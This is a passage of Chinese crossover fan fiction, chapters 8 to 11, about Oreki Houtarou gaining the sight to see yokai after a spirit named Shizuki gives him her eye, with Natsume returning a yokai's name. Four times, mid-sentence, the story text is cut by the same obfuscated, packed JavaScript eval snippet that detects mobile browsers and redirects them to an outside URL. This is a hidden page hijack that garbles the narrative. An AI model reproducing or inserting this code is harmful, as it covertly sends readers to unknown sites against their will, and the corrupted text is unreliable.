猫咪老师见他如此低沉，忍不住安慰：“也不一定会发生什么，万一这小子吃进去，明天就拉出来呢？” “……”夏目被猫咪老师的话给恶心到了。 不管如何，还是先把折木带回去吧。 …… 时间倒回夏目从家里追出去前，折木其实一直知道正在发生的事，只是基于现实情况，他无法拒绝而已。 在一片沉寂的黑暗中，折木打量着突然出现在他面前的女人。 那女人漂亮到无法形容，不管是容貌，还是身着的华贵和服都是何等的鲜艳，折木一时之间都不知道该把视线放在哪。 总之与这个女人对峙，不能显得自己气势不足，折木深吸口气，让心情尽可能放松：“我现在是在做梦吗？” 女人露出预料之外的表情：“第一个问题竟是这个吗？” “我只是在确定我现在的状况，你大摇大摆的出现在我面前，对我说要借走我的身体，不管是谁都会不知所措吧。” “但我看你很冷静嘛。”女人勾起愉悦的笑容。 冷静只是表面罢了，折木咳了一声：“说回正题，你是为了算账要借我的身体吧？” 女人仍然是一副看好戏的样子：“我为什么要这么做？” “因为你才是纸月，陪伴在行舟先生身边的妖怪一直是你才对。” 女人一听到这个名字，瞪大了眼睛，但她撇了撇嘴，有些情绪化道：“哼，不切实际的猜测，陪在他身边不只是我，还有……” “自称‘纸月’这个名字的妖怪吧。”折木从正面凝视她，“或许刚开始确实这样，但它后续做的事却很自相矛盾。” “它一开始向我寻求帮助，只是因为它需要一个人类吸引注意力。”折木舔了舔嘴唇继续说道，“从我搬进来开始它就已经有了计划，先让我发现珠子的存在并带到外界吸引妖怪的注意，再以纸月这个身份介入其中，请求我保护遗物，但我只是个普通人，这是不可能做到的事。” “是啊，与其找你，还不如找那位夏目……等等，那个冒牌货找你不会就是为了接近那小子吧。”女人说到一半，突然反应过来，但她又否认似的说道，“那它为什么不直接找夏目？” “很简单，它不想让任何人知道行舟先生的遗物，我是他血亲，所以才会被认为没关系。”折木作出了回答。 “这种绕圈子的做法真是麻烦。”女人吐槽道。 “其实它挺聪明的，若是事情的变量再少点，说不定就能达成它的计划。” 听到折木这么说，女人被彻底勾起了兴趣。 “因为它想达成两个目的，一个是守护行舟先生的遗物，另一个就是消灭你，让自己的存在合理化。” 折木瞄了女人一眼，看对方没什么反应，便继续说道：“它知道夏目很厉害，想办法让我去接触，只要我沉不住气去找夏目帮忙，那接下来它只要带着珠子再把一些真假掺半的流言宣传出去，让妖怪们知道我家有个值得抢夺的东西，应该和你有关，那么到了今晚，妖怪们会袭击你，借此将没有破除封印的你解决掉，而夏目和他身边的大妖怪再登场解决掉那些妖怪，那么一切就结束了。” 他稍稍顿了顿，喉咙有点干，余光扫过周围，心想要是梦里有茶就好了。 “原来是这样……不过为什么认定我就是纸月？”女人问道，“这种事除了行舟和那个冒牌货以外，应该没人知道。” 折木没有直接说答案：“你很喜欢花吧。” “咦？”女人怔住了。 “不知道为什么，这几天我能在梦里看到你和行舟先生相处的回忆，第一个梦你们相谈甚欢，第二个梦行舟先生为讨你欢心，用了某些办法开出了花，最后一个……” 说到这里，折木心中一紧，思考着是否要把这个梦说下去。 “最后一个是什么？”女人从他的表情中察觉到什么，语气变得强硬起来。 “抱歉，我修正一下，最后一个梦是行舟先生临终前的经历，那时候他把你封印后，身体就不行了，而最后和他相处的是冒充你的妖怪。” 如折木所预料的那样，女人的情绪隐隐失控。 作为梦的旁观者，他无法说明她和小妖怪对行舟先生的情感，只是那份悲伤不管是出于谁都是真实可悲的。 “那家伙真的敢扔下我，去另一个世界，混蛋，混蛋行舟。” 女人像是放弃什么般卸下来了所有气力，眼泪从娇艳欲滴的脸庞上不断滑落，对她而言，所有的美好从自己被所爱的人封印以后才结束的。 明明只是想永远陪在他身边而已。 不管是生，还是死。 “……纸月，”折木看着泣不成声的女人，终是叫回了属于她的名字，“行舟先生，为什么要封印你？” 他的声音很轻，那些梦中回忆在脑内一一掠过，却不敢细想欢乐过后暗暗流动的残酷真相，自己应该是知道的。 人和妖，不可结缘。 相对于妖怪漫长的岁月，人类只是匆匆路过的景色，不可能永远将对方固定在自己的时间里。 而纸月大概是无论如何也接受不了这种结果吧。 “行舟不想让我随他一同去那个世界。”这时，纸月不再哭泣，她红着眼看着折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266239|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木开口道，“我在这里呆得太久了，太孤独了。” “行舟是我唯一的希望，若是能陪我更久，我愿意为他找到不老不死的方法，若是就此死去，只要与行舟一起，我也愿意。” “可是，他都不想。”纸月露出一丝苦笑，“他把我封印起来，是怕我做出不可挽回的事情，真是愚蠢。” 紧接着，纸月话锋一转，突然说道： “既然他想让我活着，那我就活给他看好了。” “啊？”折木被她变脸速度吓到了，只见对方走到他身边，向他伸出手。 “你叫什么名字？行舟的子孙。” 折木想说，其实按照辈分，他和行舟先生血缘关系差得太远，但又不知她要干什么，还是一五一十地回答：“折木奉太郎。” 纸月的表情舒缓下来，笑道：“以后可别这么大大咧咧地把自己的名字告诉妖怪。” 说完，只见她单手抚到他的眼睛，折木两眼一黑，意识遁入黑暗。 直至这一晚所发生的事情结束。 …… 清晨第一缕晨光照入房间。 折木醒了过来，一睁眼，视野模糊一片，好似有什么重物压在自己的脑袋上。 好软，好热，什么东西…… 折木努力将脸上的东西举起来，和一张大脸盘子面对面。 “猫？猪？” “叫我猫咪老师！” 下一刻，脸部被重击，折木差一点又昏迷过去。 “老师！”见好不容易醒过来的折木又倒了下去，一旁的夏目毫不留情地给猫咪老师头顶一击。 “你还好吧，折木？”夏目连忙扶起他的身体。 “脸有点痛……不算太好。”折木摸着印在脸上的爪印，有些颓丧道。 夏目看着他，犹豫了一会儿问道：“那你还记得昨晚上的事吗？” 昨晚上…… 记忆碎片聚拢成片段飞快掠过大脑，他想起纸月用自己的身体胡作非为，还把珠子喂给他的大胆举动…… “唔！” 折木一脸恐慌得用手抚摸自己的喉咙。 那么大颗珠子就这么被咽进去了？！ 而且他记得纸月说过那是她的眼睛。 就在他不知所措的时候，纸月的声音突兀地在他耳边响起：“怕什么，我的眼睛又不是什么毒药，吃进去不会对你造成任何伤害。” 为什么要给我吃这种东西？ 折木在心里愤然。 “因为不知道怎么处理，你帮我解决了谜题，那眼睛就当做奖励送你好了。” 你自己的眼睛你不知道怎么处理？ 折木都要气笑了。 “拿出来自然就不可能再塞回去，而且这对你又不是什么坏处。” 折木听她这么说，脑海里不知闪现出恐怖的画面，比如未来百年因为年轻的模样被送去研究所，或者身上多出来角和奇怪的鳞片什么的。 纸月叹息一声：“别胡思乱想，我的眼睛并没有这些功能。” “顶多能让你看到妖怪罢了。” 9. 第 9 章 理性正以非正常速度滑向虚无。 折木停止思考。 折木放弃思考。 最后只能用令人颤抖的殷切心情，接受了这个事实。 夏目欲言又止地看着他，多次想开口，都被折木安慰了事。 “跟你没有关系”“不是你的错”“本来就是我把你卷进来的”的三连击，让夏目止步不前。 折木的表情很冷静，他守规矩地享用完塔子阿姨做的早餐，用回去拿东西这个理由让夏目先走，自己则回了家。 有那么一瞬间，夏目觉得对方是为了维持自己的日常，才装作什么都没发生的样子说服自己。 “有什么不好，这下子你不就有同伴了？”猫咪老师漫不经心地说道。 “老师你想得太简单了。”夏目有些无奈。 夏目从小因为自己能看到妖怪而感到过痛苦，当时在他的世界里，还是一如既往地通过他人的接纳和认可才得以存在，如果没有现在陪在他身边的亲人和朋友，他现在还是只能被当做亲戚踢来踢去的皮球，即便脱离出去，也仍然孤独一人。 “哼，是你们人类想得太复杂了，这件事你只是顺带帮助那小子，你没必要觉得有所亏欠。” 猫咪老师说得没错，折木身上发生的事确实与自己无关，但一想到自己从小到大被妖怪窃窃私语所环绕，因它们受过的伤，都要让一无所知的折木体验一遍，他无法做到放任不管。 “我倒觉得那小子没你想得那么脆弱，而且有那个半神在，没人会伤害他的。” 猫咪说完这句话，打了个哈欠，摸了摸早已饥肠辘辘的肚子，朝着一旁的森林处跳了过去。 “我和其他妖怪有约，下午再来接你咯。” “喂。”夏目看着猫咪老师消失在绿野中，稍稍有些叹气，他还真摊上一个随心所欲的保镖。 他转身看了看身后，折木的身影仍旧未出现。 …… 下课后，夏目最先来到一班的班级门口。 看到正巧出来的北本和田沼，他问：“今天折木有没有来上学？” 被问的两人对视了一眼，都摇了摇头。 “折木跟老师请假了，好像说是身体不舒服。” “这样啊……”夏目有些失望，眼底闪过一丝不安。 田沼注意到夏目的不对劲，但碍于北本没有直接询问，只能提议道：“折木不是住在夏目你家隔壁嘛，不然我们放学去看看他吧，反正我也没什么事。” “哦，这主意不错，正好可以买点慰问品。”北本想也没想就同意了。 夏目犹豫片刻，只得点头。 时间很快就到下午，夏目正打算收拾书包，思考着一会儿去折木家要说什么的时候，他听到窗外传来了熟悉的声音。 “夏目大人！夏目大人！” 夏目低头往窗外看，只见一个独眼和一个牛头妖怪趴在窗沿，正努力往上爬。 “喂喂，你们两个怎么跑这来了，而且很危险啊。” “夏目大人，事态紧急，我们遇到了很可怕的妖怪，需要您的帮助！” 可怕的妖怪？ 夏目皱了皱眉，但想到折木，他内心的天平又稍稍倾斜。 “非常可怕，那家伙一击就把我们干趴了，本来想向那只肥猫……啊不，斑大人求救，可是我们不知道它跑哪去了，所以我们只好来找您了。” 两只妖怪都快急哭了。 夏目叹气，不知道是第几次了，想稍微掩饰一下内心的烦躁都不行。 “我知道了。” “好耶！我就知道夏目大人最好了。”“好耶！” 无视那两个欢呼雀跃的中级妖怪，夏目和北本以及田沼诉说了自己有事，不能同他们一起去看望折木了。 “我知道了，我会连同你的那份带给折木的。” 田沼朝他眨眨眼，他知道夏目很可能是为了妖怪的事不得不离开，也巧妙地在北本面前帮夏目兜底。 夏目收拾好后跟着中级走进了它们所说的那片树林。 在八原这个地方，妖怪倒是不少，一路上夏目就已经看到了躲在树后面的小妖怪，它们一边低语着“好可怕”“好可怕”，一边又好奇地探头探脑。 恐惧与好奇并存，畏惧强大，又仰慕强大，这些都是小妖怪们对大妖怪妄想的真实写照。 夏目勉强能理解小妖怪们的想法，但身边那只总是自称“老师”的大妖根本算不上参考对象，大概是对方陪伴在自己身边太久，夏目已经对猫咪老师最初相遇的大妖形象完全没了滤镜。 “到了到了，夏目大人，就在那。” 夏目和中级妖怪躲在远处看过去。 一个被头发包裹面部的白衣妖怪矗立在那。 夏目：“……那确定不是从电视里爬出来的贞子？” 中级妖怪：“贞子？啥咧？” 没等夏目回答，那妖怪已经注意到这边了。 “还给我……把它还给我……” 它吐露出意义不明的低语和喘息，随后四脚并用，比电视里更恐怖的爬行方式朝着夏目袭来。 “夏目大人，小心啊！” 夏目下意识躲开，那妖怪扑了个空。 “还给我……还给我……把它还给我……” 妖怪再次扑了过来，夏目冷静擦身躲过的同时，将手按住自己的背包。 它说的还给它，指的是名字吗？ 可是看这妖怪疯狂的架势，恐怕是沟通不了了，偏偏猫咪老师又不在。 这时，另一道声音穿过树林而来，而这声音竟让夏目诧异不已。 “我在这，你要找的人在这里！” 夏目转过头，原本该请假在家休息的折木就站在离他们不远处的地方。 折木？！ 听到这个声音，妖怪早已扭过头，它似乎被蛊惑般，朝着折木的方向爬去。 此时的折木也看到了夏目，心里惊讶，但两人对视仅维持了几秒，折木就已经转身引着妖怪朝森林深处跑去。 为什么会是折木？ 夏目无法理解目前的状况，不明白对方为什么要以身涉险……但身体比大脑更优先行动起来，不管是什么情况，绝对不能让那妖怪伤害折木。 循着背影， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266240|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏目从树林来到了一个较为宽阔的位置，而折木早已在那恭候多时了。 在那妖怪距离他只有两三步的时候，折木将符咒一样的纸贴在了妖怪脑袋上，那一瞬间，妖怪维持着僵硬的动作，停止不动了。 贴完符咒后，折木整个人像是耗完了身体所有能动性，彻底瘫坐了下来。 “……为什么我要经历这种事。”折木一脸无欲无求，从嘴里吐露的话语，嘶哑又支离破碎。 “折木？” 看到来人，折木仿佛找到了主心骨般，他舔了舔干枯的嘴皮，说道：“夏目，你能把名字还给它吗？” 夏目的脚步一顿，他看向折木，原本心中的焦躁变成了暴风雨般的情绪蹿进全身。 “……你是怎么知道的？” 知道他有友人帐的？ 折木困惑地望向他，这种事当然是妖怪告诉我的……刚要这么回答，但脑中的声音制止了他。 “别说，那是不可在这直接透露的东西。” “说了，你会让那小子陷入危险。” 纸月悦耳的声音提醒着他，刚要说出的话转而咽了回去。 撕拉—— 被定住的妖怪身上涌出了怨气，它们飘到符咒上污染着上面的咒文，很快就没了效果，妖怪再次动了起来。 速度之快，两人基本都没反应过来，折木露出一脸完蛋的表情，用手肘挡住了自己的脸。 “吃我一击，喵～” 折木感觉到有个圆滚滚的东西拦在了妖怪和自己之间，只听有个大叔音喊完貌似必杀技的台词又发出恶意卖萌的喵叫后，刺目的白光占据了视野，而后妖怪传来了惨叫声。 白光消失后，折木睁开了眼。 肥胖的招财猫气定神闲地坐在面前，被它踩在脚下的，是之前冒充纸月的小妖怪。 终于结束了。 压倒性的疲惫再次占据内心，明明请了假，还是被妖怪耗得一干二净，他大概从出生到现在都没有这么累过。 而这一切全部都要怪在纸月头上，折木想。 在得知自己余生都能看到妖怪，折木的节能主义遭受史诗级的破坏，甚至连裂缝都不一定能修补的程度。 他回到自己家，坚决地让纸月把身体里的珠子给拿出来。 古画中的女子似乎早已料到，她媚笑一声：“办不到，你会把已经化为养分的东西吐出来吗？” “……”折木被噎了一下，但他还是在尝试做最后的反抗，“那，那至少有看不到妖怪的办法……” “没有那种东西。”纸月淡淡道，“你不妨将它当做我给予你的馈赠，如果你是因为看到妖怪而害怕被攻击的话，我可以保护你，就像我保护行舟那样。” 听到她这么说，折木呼吸一窒，也就是说自己未来所遭遇的不止是看到妖怪那么简单，还有可能会被卷入妖怪的麻烦事里？ 纸月见他的表情陷入空白和迷茫，难得多了一丝愧疚。 “这样如何，我答应你会去找看不见妖怪的方法。” 在对方眼中冒出希望时，纸月才默默补充下一句，“在你有生之年里。” 10. 第 10 章 沉默降临。 眼前这个半神回答得相当认真，若是不拿自己的人生当做时间标准的话，折木或许会真的信她几分。 算了，他投降。 折木叹息，连最后一个希望也虚无缥缈，不管如何，既然成为事实，那就只能想尽办法去适应了。 纸月见他沉默一会儿，便一声不响地走出房间，她从画中飘了出来，小心翼翼地跟在对方后面。 “小子，你不会生我气了吧？” “生气有用的话，我早就把你丢出去了。” 什么嘛！竟想把我丢出去！ 纸月在折木背后鼓起了嘴，眼瞅着他给学校请假后，她的肩膀才微微放松下来。 而折木挂掉电话后，才重视起身边这位半神。 明明和他八竿子打不到一起的远亲所结识的高位存在，此时却像个害怕被抛弃的小孩子一样不安地瞅着自己。 失去行舟是她最大的打击，现在的她很明显不想被行舟的血亲排斥。 折木抓了抓头发，虽觉麻烦，但最后什么都没说，只是默认对方跟着自己。 “咔嚓——” 二楼传来玻璃碎裂的声音。 折木一愣，连忙跑向二楼，只见房间的玻璃碎了一地，书柜和木桌被撞得乱七八糟，一个都是头发的白衣妖怪趴在那，不断地翻找着什么。 “还给我……还给我……把它还给我……” 感受到折木的气息，那妖怪竟朝着他攻击了过来。 “！”折木刚要后退，却被一双纤细的手按住肩膀。 “我来。”纸月的气息带入一股浓郁的花香，她随手一挥，那妖怪像是撞到了无形的屏障反弹了回去。 “唔……唔……”妖怪意识到不能硬碰硬，一个转身从破开的窗户跳了出去。 “喂！”折木绕过满地的碎玻璃和一地的书，跑到窗前，发现那妖怪已经消失得无影无踪了。 “是那个冒牌货。”纸月根据遗留下来的妖气察觉到了它的真实身份，脸上透露出些许轻蔑，而与轻蔑仅有一线之隔的，还有怜悯。 折木困惑：“它不是小妖怪吗？” “它受怨气影响，恐怕被地灵附身了。” “地灵？” 虽不知是什么，但看那样子总归不是好东西。 折木想起自己和小妖怪初次相遇时的场景……啧，就当是还恩情吧。 “纸月，有什么办法能让它变回原样？”折木询问道。 纸月听到他的话，不由地瞪大眼睛：“你是笨蛋吗，被利用了还要去帮那个冒牌货，嫌自己命不够大？” “它回来是想找那颗珠子，”折木难得认真回道，“如果不彻底把这件事划上句号的话，以后会很麻烦的。” “哼，不愧是行舟的子孙，滥好人一个。”纸月不爽地嘲讽道。 在纸月的提示下，折木勉勉强强学着在符纸上画了个歪歪扭扭的符咒。 “你这画法连一分钟都撑不住吧。”纸月评价道。 “那你来？” “以我的力量，我可是会直接消灭它哦。” 真是可怕的发言，还是别拜托这个煞神了，折木想。 纸月继续道：“不过你最好先去找夏目玲子的孙子，那小子拿着【友人帐】，只要把名字还给它，就能让它恢复理智。” 这已经是第二次听到这个书名了，听起来像是夏目的专属法宝，而且又有猫咪老师那种大妖当保镖，说不定夏目是很厉害的除妖师？ 折木开始对夏目有了一层强大神秘的滤镜。 不过在此之前，还要先去一趟学校才行吗？ 眼见事情渐渐变得越来越麻烦，折木开始板起脸来。 他匆匆忙忙从家里跑出来，此时回学校从时间上不太妥当，他决定先循着小妖怪的足迹去找，直到与夏目在森林里不期而遇。 回到现在，猫咪老师舔了舔爪子，将倒在地上的小妖怪翻了一个面，它看了折木一眼，不加掩饰说道：“那半神似乎告诉你很多东西啊，小心一辈子都甩不掉哦。” 隔了一段令人屏息凝神的时间，折木才回过神来，猫咪老师的话似乎语带双关。 但这是他能决定的吗？正准备这么回怼，夏目已经走了过来，他的表情还是有些僵硬，但更多的还是对折木的关心。 “还好吗？” “没事，还没到挂掉的程度。” 不由自主地想要开个玩笑，结果被对方认真的目光狠狠刺了一下，折木当即闭嘴，不再多言。 夏目蹲下来对着小妖怪说道：“我可以把名字还给你，但请你答应我，以后别去骚扰折木了。” 他的语气很平静又带着安抚人心的力量，让旁观的折木忍不住侧目。 小妖怪抬起头，再也绷不住情绪，眼泪跟豆子似的往下掉：“为了跟随行舟，我已经决定舍弃掉我的名字了……我一直希望他能为我取一个属于我自己的名字，可是，可是……” 直到去世，行舟也没有动过半分为它取名的念头。 “每个人的名字都是有意义的，而被其他人赋予意义的名字则会成为一个枷锁，行舟先生大概是不想让自己成为你的枷锁。”夏目的笑容温柔又安心，有让人想要倾诉一切的冲动。 “……真的吗？” “我相信行舟先生是这么想的。” 那时候，折木只记得夏目摊开了那本名为友人帐的书本，在无数页面飘过的瞬间，夏目取下立在中央那张带有名字的纸，将其含在嘴中，收手合十，将名字吐露了出来。 夏目优雅的姿态，让折木无法控制地感到心悸。 借由体内那颗珠子的力量，自己似乎也感知到了小妖怪的记忆，无论是与行舟同乐的喜悦，还是为行舟去世而悲伤，小妖怪都在用自己的方式与行舟度过每一天。 就算是纸月，也无法否认这个事实。 所以她才避而不见吗？ 折木已经没有听到纸月的声音，她之前对小妖怪一副很不客气的样子，实际上已经手下留情了吧。 解决完小妖怪的事情，夏目累得躺了下来。 归还妖怪的名字很费体力，大概要好好睡一觉才行，不过—— 他看到折木对他瘫在地上的行为有些惊慌失措，似乎以为自己出了什么状况，正急急忙忙地询问猫咪老师。 不知猫咪老师是不是故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266241|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的，只说了一句“那就交给你了”这种不负责的话后，就溜号了。 “喂，夏目，你醒醒！” “你别吓我！” 夏目半闭着眼睛想说自己没事，但意识逐渐朦胧，很快就染上睡意。 “夏目！” 不知道为什么，看着这样为他焦急的折木，他莫名觉得很有意思。 夏目难得认同了北本之前说的话。 “喂……” “别喊了，这小子只是体力不支睡着了。” 似乎是看不下去了，纸月的声音再度响起。 折木愣了愣，随后才缓缓吐出一口气。 还没放松下来，就听纸月接着说：“不过接下来你自己要背着这小子回去了，加油哦。” 然后彻底闭麦。 折木：“……” 一个两个都看着自己收拾烂摊子吗？ 折木很恼火，但也没办法，只好尝试背起夏目，朝着家的方向走去。 …… “诶，怎么是折木在照顾夏目？” “不对，应该说夏目怎么会在这里？” 打开门，见北本携带着田沼和西村看望自己，折木原本就惨白的脸变得更加惨白。 把夏目背回来让他感受到什么叫能量的损耗，生命的流逝，他已经记不得这趟回程有多痛苦，他只觉得整个人动不了了，甚至差一点摔在夏目身上。 而现在他还要兼具疲劳去招待三个同龄人，要是晕倒的话，一定会造成恐慌吧。 虽是这么想，折木还是接过慰问礼，僵着笑依次道谢，顺便把夏目的问题找了理由糊弄过去。 “不过仔细一看，他睡得好沉啊。”北本和西村围着夏目观察起来，其中一个还用手指戳了上去。 “别玩了，快过来写作业。”田沼适时打断他们的行为，“明天还有场测验呢，你们也不想被尾朝留下来开小灶吧。” 这一声呼唤总算把那两人叫了回来。 直到日落，三人才告别离开。 “不会有事吗？”折木已经不知道第几次看向夏目，他做了点吃的，心想着多少要给夏目吃一点，但似乎对方仍旧呼吸沉稳，半点要睁眼的迹象都没有。 “应该是人类的体质相对要差一点。”纸月用不知从哪掏出来的扇子戳了戳夏目的身体。 折木心想着至少要给隔壁的塔子阿姨报个平安，这时候自家的门铃响了。 是老爸回来了？ 怀着这个念头去开门，所见的却是一个独眼和一个牛头妖怪正站在门口。 “可恶的除妖人，把夏目大人还给我们！”“还给我们、还给我们！” “什么？”没等折木说完，那两个个头只到腰部的妖怪就冲了进来。 “喂，你们是谁，我允许你们进来了吗？” 折木想要阻止它们，不知踩到什么东西，他下盘一个不稳，正好摔在了躺在沙发上的夏目身上。 夏目闷哼一声，痛得缓缓睁开眼，发现折木趴在自己身上，并脸色惨白地捂住鼻子。 两人四目相对，直至夏目看到自己胸口处多了几滴鲜血。 尴尬的氛围，无需言表。 11. 第 11 章 如有必要，还是让人生就这么停止算了。 折木用纸巾堵住出血的鼻子，心情说不出的麻木还是无所谓。 眼前两只妖怪跪坐在面前，一脸“实在抱歉，是我们错了”的表情，明显是被夏目教训了一顿。 夏目身上换上折木没怎么穿过的衣服，不知怎的，刚好合身，而那件沾着鼻血的衣服在折木的再三要求下，被留了下来。 “又给你添麻烦了。” 虽然夏目心里搅动着各种念头，但对上折木那张惨白的面孔，愧疚的情绪止不住的冒出。 折木仍然摇摇头，被妖怪的事折磨的他只想快点结束一天：“我没事，你快回去吧，不然塔子阿姨会担心的。” 顺便赶紧把那两只妖怪带走。 好不容易等到夏目和妖怪都走后，折木毫无形象地躺倒在沙发上，如同地藏菩萨般僵硬。 “你身体好弱，才走这么一点路就虚弱成这样。”纸月悠悠然从二楼飘了下来。 见折木对此置之不理，他背对纸月将身体蜷缩起来。 不多时，一阵冰凉贴在自己的额头上，折木冻得一激灵，从纹丝不动到猛地坐了起来不到五秒钟，身子又发软般砸进沙发了。 “你发热了？”纸月缩回手，皱着眉端详一番后，一脸不理解地喃喃，“不应该啊，人类吃掉神的一部分照理不是应该得到神的力量吗，再不济也是百病不侵才对，行舟的古书上不是经常有这样的传说么？” 那只是没了解过人类的家伙所说的漂亮话罢了，你自己不也清楚那不过是个传言吗？ 折木在内心诽腹道。 他整个人已经陷入混沌，即使肚子饿了，也失去了爬起来的动力。 到了快九点的时候，折木隐约听到了敲门的声音，他朦朦胧胧地意识，但还是爬不起来。 不知过了多久，他感觉到身旁的沙发有凹陷的感觉，应该是有人坐在了自己的身边。 “折木你在发烧。” 温热的手放在额头上，不同于纸月冻到神经的触感，而是热上加热般令人不适。 折木软软地拧着身子，努力将那只手挥开。 “老爸，热……拿开。” 他虚弱的声音带着难受的鼻息，以为是那位总是神不知鬼不觉出现的父亲回来了，他闭着眼，一直没什么表情的脸多了一丝不耐。 “折木……你得吃点东西，不然身体……撑不住的。” 这他当然知道，但他现在也失了胃口，甚至觉得就这么躺到明天算了。 “这小子满脸抗拒的样子真让人不爽……你还是别管他了。” 似乎有什么杂音混进来了。 “……还好拜托塔子阿姨……拿了这个过来……正好……” 折木没有听完全，只感觉自己身体被整个扶起，嘴里被喂进甜甜的东西，有热酒的清香，而后居上的是鸡蛋和生姜醇厚的味道，因为不难喝，所以折木不自觉地咽了几口。 后面发生的事折木已经不记得了，他一直睡到第二天早上，这一觉太过于舒服，连梦都没做，以至于他醒来精神都畅快不少。 房间的光是明亮的，不太刺眼，他甚至不用眯眼就已经适应良好，空气中浮动着花的香气，和煦的风自打开的玻璃窗吹了进来，拂起白色的窗帘。 折木注意到身上的被子，给他盖被子的人很细心，柔软的被子带着暖洋洋的温度，没让一丝冷风钻进去。 昨天是老爸照顾自己的？ 折木感受到一阵肉麻，他抓了抓头，正要下床，就察觉到房间内除了自己，还有个存在感极强的身影，他侧过脸去看，突然出现的脸差点没让他绷住。 纸月用探究的目光盯着他看了很久，很快那里的情绪变成了某种憋屈。 折木不明白她又怎么了，他伸手去拿手机，发现有好几条未读短信。 “奉太郎，我大概明天晚上回来，就不用准备我的晚餐了，有什么事给我打电话哦。 ——你亲爱的爸爸。” “……咦？” 折木脑子有些混乱，如果不是他老爸，那昨天照顾他的是谁？ 他不合时宜地想起了某个人，他带着不确定的眼神询问纸月，只希望自己的想法不要成真。 纸月冷哼一声：“昨天我看你实在难受得紧，就只能告诉隔壁那小子你发烧了。” 这绝对是折木体质太弱了，才不是她眼睛的问题！ 夏目来过…… “他怎么进来的？” “我开的门。” “……” 真是伤脑筋，这下都不知道用什么表情面对夏目了，折木沮丧地想。 折木来到客厅，一眼就看到放在桌上的信，是夏目留下来的。 内容大致意思是冒昧打扰实在抱歉，由于过意不去，在知道折木病倒后，夏目特地拜托了塔子阿姨做了鸡蛋酒和一些能让生病的人咽得进去的吃食，随后就是简明扼要地交待了照顾的过程，字数不多，像是特意一笔带过，但不知为何又让人想入非非。 纸月看着折木越来越窘的脸，总觉得不是什么滋味。 既然成了行舟子孙的守护神，照顾对方应该是自己的责任，怎么能让隔壁那小子过来帮忙！ 虽然对折木很好，可顶着夏目玲子那张脸还是让她很不适应。 越想越后悔的纸月“啧”了一声，她飘到厨房，撸起袖子，准备大干一场。 “你……” “你在那乖乖坐好，我会证明自己并不比那小子差的！” 十来分钟后，折木面对纸月端来的一盘黑乎乎早餐，陷入了沉默。 吃了绝对会出问题吧。 他还不想死。 最后他又回到厨房重做了两份早餐，一份是自己的，另一份是为了自身着想，用来安抚住纸月的。 …… 回到学校，折木松了口气。 明明才没来一天，他就已经开始怀念学校的生活了，能够不用看见妖怪真是太好了。 折木走到自己座位上后，田沼冲他打了声招呼：“你看起来精神不错。” 不用看见稀奇古怪的东西，他当然觉得状态很好，整个人都身心充实了许多。 田沼背靠着窗台，窗帘隔绝了他投递过来的视线，语气中却夹杂着些许犹豫：“昨天夏目…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266242|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对，你们是不是遇到什么事情？” 听到这话，折木身体不经意间紧绷起来，但他面上波澜不惊：“没什么……我只是出门的时候，偶然遇见夏目的。” “是吗？” 折木游移着视线，将目光偏离到窗外来躲避田沼的问话。 田沼似乎从他飘忽不定的态度中感受到了敷衍，他笑道：“别紧张，不管发生什么情况，我是站在你们这边的。” 这话隐藏的态度让折木顿时明白了其中的含义。 田沼是知道夏目看得见妖怪的。 那么自己十有八九也被看穿了。 折木没有主动去接田沼的话，他还没做好和人敞开心扉交谈妖怪的准备，他只是默不作声地转移话题。 “那里好像有个学生在扫地。” “嗯？哪里？” 折木用手指了指靠近下面摆放自行车车棚的地方：“就在那里，从我们说话开始，那个学生拿着扫帚一直在做清扫。” “没看到。”田沼几乎将脑袋探了出去还是没有看见什么人，“那里根本没什么人在啊，倒是有个……” 话音顿住。 他只看到一团模糊的影子停在那片空地上。 而折木举在空中的手也随之僵住。 不会吧。 再次望向停车棚，那个正在做清扫的学生仿佛察觉到什么似的抬头看着他，仔细一瞧，那家伙穿着这所学校的校服，脸上却带着古怪的能面具。 遭了。 折木心里道不好，和不该看到的东西对视了。 